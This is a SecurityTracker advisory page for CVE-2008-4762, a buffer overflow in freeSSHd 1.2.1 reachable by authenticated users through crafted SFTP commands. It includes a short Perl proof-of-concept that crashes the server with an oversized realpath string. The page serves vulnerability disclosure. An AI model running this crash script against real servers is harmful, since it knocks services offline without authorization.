SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (VPN)  >   freeSSHd Vendors:   freesshd.com
freeSSHd Buffer Overflow Lets Remote Authenticated Users Execute Arbitrary Code
SecurityTracker Alert ID:  1021096
SecurityTracker URL:  http://securitytracker.com/id/1021096
CVE Reference:   CVE-2008-4762   (Links to External Site)
Updated:  Nov 17 2008
Original Entry Date:  Oct 23 2008
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 1.2.1
Description:   Jeremy Brown reported a vulnerability in freeSSHd. A remote authenticated user can execute arbitrary code on the target system.

A remote authenticated user can send a specially crafted rename command to trigger a buffer overflow and execute arbitrary code on the target system.

r0ut3r confirmed remote code execution.

Impact:   A remote authenticated user can execute arbitrary code on the target system.
Solution:   No solution was available at the time of this entry.
Vendor URL:  freesshd.com/ (Links to External Site)
Cause:   Boundary error
Underlying OS:  Windows (Any)

Message History:   This archive entry has one or more follow-up message(s) listed below.
Dec 22 2008 (Additional Commands are Affected) freeSSHd Buffer Overflow Lets Remote Authenticated Users Execute Arbitrary Code
Additional commands are affected.



 Source Message Contents

Subject:  submission

Attached.

#!/usr/bin/perl
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
# FreeSSH 1.2.1 Crash #2 -- A Product of Fuzzing. Stay Tuned For More.
use Net::SSH2;

$host     = "192.168.0.100";
$port     = 22;
$username = "test";
$password = "test";
$dos      = "A" x 262145;

$ssh2 = Net::SSH2->new();
$ssh2->connect($host, $port)               || die "\nError: Connection Refused!\n";
$ssh2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n";
$sftp = $ssh2->sftp();
$realpath = $sftp->realpath($dos);
$ssh2->disconnect();
exit;

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC